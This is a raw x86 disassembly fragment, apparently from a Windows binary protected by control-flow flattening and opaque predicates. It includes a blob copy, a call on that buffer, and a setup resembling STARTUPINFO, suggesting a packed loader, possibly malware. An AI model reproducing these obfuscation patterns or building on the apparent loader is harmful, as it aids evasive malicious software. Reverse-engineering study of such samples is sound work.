mov eax, dword [0x453544]
mov ecx, dword [0x453540]
mov edx, eax
add edx, 0xb6c61bd2
sub edx, 1
sub edx, 0xb6c61bd2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x206b8479
mov ecx, 0xe40654b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
sub esp, 4
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov eax, dword [0x453544]
mov ecx, dword [0x453540]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x33c95d95
mov ecx, 0x3f918b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov ecx, dword [0x453544]
mov eax, dword [0x453540]
mov edx, ecx
add edx, 0x3d3d1f5e
sub edx, 1
sub edx, 0x3d3d1f5e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd6898b40
mov ecx, 0xdec4d4f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov ecx, dword [ebp - 0x19c]
mov eax, dword [ebp - 0x188]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x184]
lea eax, [0x42fd3c]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1b600
call fcn.00420630
add esp, 0xc
mov eax, dword [ebp - 0x184]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x1b600
call fcn.0040ecb0
add esp, 8
mov ecx, dword [ebp - 0x184]
mov eax, dword [ebp - 0x188]
mov dword [eax], ecx
mov eax, dword [ebp - 0x188]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x180]
mov dword [eax], ecx
mov dword [ebp - 0x194], 0x21ade4c6
jmp 0x414f7f
mov eax, dword [ebp - 0x178]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.004204d0
add esp, 0xc
mov eax, dword [ebp - 0x174]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.004204d0
add esp, 0xc
mov eax, dword [ebp - 0x174]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x194], 0xfd72cb08
jmp 0x414f7f
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov dword [ebp - 0x194], 0x823c7fbf
jmp 0x414f7f
mov eax, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x194], 0xf08cc3db
jmp 0x414f7f
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x194], 0x3502cefd
jmp 0x414f7f
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax]
add ecx, 2
mov eax, dword [ebp - 0x148]
mov dword [eax], ecx
mov dword [ebp - 0x194], 0x969d504b
jmp 0x414f7f
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x194], 0x6423d2f6
jmp 0x414f7f
mov eax, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x140]
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x194], 0x2062b83a
jmp 0x414f7f
mov eax, dword [ebp - 0x84]
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x88]
add ecx, 0x9f1bb662
add ecx, eax
sub ecx, 0x9f1bb662
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov dword [eax], 0
mov dword [ebp - 0x194], 0x3e9c2777
jmp 0x414f7f
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x194], 0xdf13a60
jmp 0x414f7f
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x194], 0xb03a5071
jmp 0x414f7f
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x194], 0x35e88db3
jmp 0x414f7f
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x194], 0xc90439d2
jmp 0x414f7f
mov ecx, dword [ebp - 0x100]
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x100]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov word [eax], cx
mov dword [ebp - 0x194], 0x4d39ba1c
jmp 0x414f7f
mov eax, dword [ebp - 0x18c]
mov dword [eax], 0
mov dword [ebp - 0x194], 0x71fe11f2
jmp 0x40fe07